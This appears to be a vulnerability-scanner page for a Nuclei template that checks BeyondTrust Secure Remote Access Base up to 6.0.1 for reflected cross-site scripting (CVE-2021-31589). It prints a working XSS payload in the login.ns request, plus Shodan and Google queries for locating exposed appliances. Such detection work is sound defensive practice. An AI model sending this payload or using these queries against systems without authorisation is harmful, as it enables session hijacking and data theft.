BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

26%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement.

Fix

Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%2…
Positive when: contains "<svg/onload=alert(document.domain)>" and "bomgar" AND status 200

Run it with nuclei: nuclei -id CVE-2021-31589 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31589

info:
  name: BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
  author: Ahmed Abou-Ela,r3Y3r53
  severity: medium
  description: BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement.
  remediation: |
    Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/165408
    - https://cxsecurity.com/issue/WLB-2022010013
    - https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
    - https://www.beyondtrust.com/docs/release-notes/index.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31589
    cwe-id: CWE-79
    epss-score: 0.25991
    epss-percentile: 0.97996
    cpe: cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: beyondtrust
    product: appliance_base_software
    shodan-query: 'set-cookie: nsbase_session'
    google-query:
      - '"BeyondTrust" "Redistribution Prohibited"'
      - '"beyondtrust" "redistribution prohibited"'
  tags: cve,cve2021,xss,packetstorm,beyondtrust,bomgar,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'
          - 'bomgar'
        case-insensitive: true
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from